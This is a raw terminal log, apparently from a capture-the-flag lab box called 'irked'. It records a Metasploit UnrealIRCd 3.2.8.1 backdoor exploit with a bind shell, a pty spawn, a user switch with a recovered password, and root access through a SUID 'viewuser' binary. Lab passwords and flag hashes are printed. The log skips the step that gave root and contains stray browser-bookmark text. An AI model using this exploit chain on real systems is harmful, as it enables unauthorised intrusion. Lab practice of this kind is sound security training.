```
root@kali:~/Masaüstü# msfconsole -q
msf > search unreal

Matching Modules
================

   Name                                      Disclosure Date  Rank       Check  Description
   ----                                      ---------------  ----       -----  -----------
   exploit/linux/games/ut2004_secure         2004-06-18       good       Yes    Unreal Tournament 2004 "secure" Overflow (Linux)
   exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution
   exploit/windows/games/ut2004_secure       2004-06-18       good       Yes    Unreal Tournament 2004 "secure" Overflow (Win32)


msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   Name                                Disclosure Date  Rank    Check  Description
   ----                                ---------------  ----    -----  -----------
   cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/bind_perl
PAYLOAD => cmd/unix/bind_perl
```

```
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  6667             yes       The target port (TCP)


Payload options (cmd/unix/bind_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 10.10.10.117
RHOST => 10.10.10.117
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
RPORT => 6697
msf exploit(unix/irc/unreal_ircd_3281_backdoor) >exploit

[*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697...
    :irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:6697 - Sending backdoor command...
[*] Started bind TCP handler against 10.10.10.117:4444
[*] Command shell session 1 opened (10.10.13.35:33349 -> 10.10.10.117:4444) at 2018-11-20 10:38:29 +0300

id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
```

```
id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
python -c "import pty;pty.spawn('/bin/bash');"
ircd@irked:~/Unreal3.2$ ls
ls
aliases                 config.sub          install-sh      networks
autoconf                configure           ircdcron        newnet
badwords.channel.conf   curl-ca-bundle.crt  ircd.log        README
badwords.message.conf   curlinstall         ircd.pid        spamfilter.conf
badwords.quit.conf      CVS                 ircd.tune       src
Changes                 dccallow.conf       keys            tmp
Changes.old             doc                 LICENSE         unreal
Config                  Donation            Makefile        unreal.in
config.guess            extras              Makefile.in     unrealircd.conf
config.log              help.conf           makefile.win32  Unreal.nfo
config.settings         include             modulize        update
config.status           INSTALL.REMOTEINC   m_template.c    wircd.def
ircd@irked:~/Unreal3.2$ cd ..
cd ..
ircd@irked:~$ ls
ls
Unreal3.2
ircd@irked:~$ cd ..
cd ..
ircd@irked:/home$
```

```
ircd@irked:/home$ ls -la
ls -la
total 16
drwxr-xr-x  4 root     root     4096 May 14  2018 .
drwxr-xr-x 21 root     root     4096 May 15  2018 ..
drwxr-xr-x 18 djmardov djmardov 4096 Nov  3 04:40 djmardov
drwxr-xr-x  3 ircd     root     4096 May 15  2018 ircd
ircd@irked:/home$ cd djmardov
cd djmardov
ircd@irked:/home/djmardov$ ls
ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
ircd@irked:/home/djmardov$ cd Documents
cd Documents
ircd@irked:/home/djmardov/Documents$ ls
ls
user.txt
ircd@irked:/home/djmardov/Documents$ ls -la
ls -la
total 16
drwxr-xr-x  2 djmardov djmardov 4096 May 15  2018 .
drwxr-xr-x 18 djmardov djmardov 4096 Nov  3 04:40 ..
-rw-r--r--  1 djmardov djmardov   52 May 16  2018 .backup
-rw-------  1 djmardov djmardov   33 May 15  2018 user.txt
ircd@irked:/home/djmardov/Documents$ cat .backup
cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
ircd@irked:/home/djmardov/Documents$
```


10.10.10.117
Most Visited
Offensive Security
Kali Linux
Kali Docs
Kali Tools
Exploit-DB
Aircrack-ng
Kali Forums
IRC is almost working!

```
ircd@irked:/home/djmardov/Documents$ su djmardov
su djmardov
Password: Kab6h+m+bbp2J:HG

$ id
id
uid=1000(djmardov) gid=1000(djmardov) groups=1000(djmardov),24
10(lpadmin),113(scanner),117(bluetooth)
$ ls
ls
user.txt
$ cat user.txt
cat user.txt
4a66a78b12dc0e661a59d3f5c0267a8e
$
```

```
djmardov@irked:/$ ls -la /usr/bin/viewuser
-rwsr-xr-x 1 root root 7328 May 16  2018 /usr/bin/viewuser
djmardov@irked:/$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2018-11-20 08:35 (:0)
djmardov pts/1        2018-11-20 08:36 (10.10.13.134)
djmardov pts/4        2018-11-20 08:37 (10.10.14.209)
djmardov pts/5        2018-11-20 08:37 (10.10.13.35)
djmardov pts/6        2018-11-20 08:37 (10.10.15.118)
root@irked:/# /usr/bin/viewuser -h
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2018-11-20 08:35 (:0)
djmardov pts/1        2018-11-20 08:36 (10.10.13.134)
djmardov pts/4        2018-11-20 08:37 (10.10.14.209)
djmardov pts/5        2018-11-20 08:37 (10.10.13.35)
djmardov pts/6        2018-11-20 08:37 (10.10.15.118)
root@irked:/# /usr/bin/viewuser cat /root/root.txt
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2018-11-20 08:35 (:0)
djmardov pts/1        2018-11-20 08:36 (10.10.13.134)
djmardov pts/4        2018-11-20 08:37 (10.10.14.209)
djmardov pts/5        2018-11-20 08:37 (10.10.13.35)
djmardov pts/6        2018-11-20 08:37 (10.10.15.118)
root@irked:/# id
uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),25(floppy),29(a
th)
root@irked:/# cat /root/root.txt
8d8e9e8be64654b6dccc3bff4522daf3
root@irked:/#
```